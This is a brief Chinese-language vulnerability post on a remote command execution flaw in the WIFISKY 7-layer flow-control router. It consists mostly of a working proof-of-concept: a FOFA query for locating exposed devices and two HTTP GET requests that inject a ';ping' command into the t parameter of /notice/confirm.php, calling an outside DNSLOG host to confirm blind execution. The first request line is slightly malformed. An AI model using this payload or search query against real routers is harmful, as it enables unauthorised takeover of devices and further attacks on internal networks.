WIFISKY-7层流控路由器 命令执行漏洞

共计 523 个字符，预计需要花费 2 分钟才能阅读完成。

漏洞描述

WIFISKY-7层流控路由器 接口存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。

搜索引擎

FOFA:

app="WIFISKY-7层流控路由器"

漏洞复现

POC

结果是没有回显的，POC用延时或者DNSLOG演示

延时

GET /notice/confirm.php?t=;ping%20jqrlxrxgdc.yutu.eu.org.HTTP/1.1 
Host:ip:port
User-Agent:Mozi11a/5.0(WindowsNT10.0;Win64; -x64)AppleWebKit/537.36(KHTML, -1ikeGecko)Chrome/96.0.4664.93Safari/537.36

DNSlog

GET /notice/confirm.php?t=;ping%20jqrlxrxgdc.yutu.eu.org HTTP/1.1 
Host: ip:port
User-Agent:Mozi11a/5.0(WindowsNT10.0;Win64;-x64)AppleWebKit/537.36(KHTML, -1ikeGecko)Chrome/96.0.4664.93Safari/537.36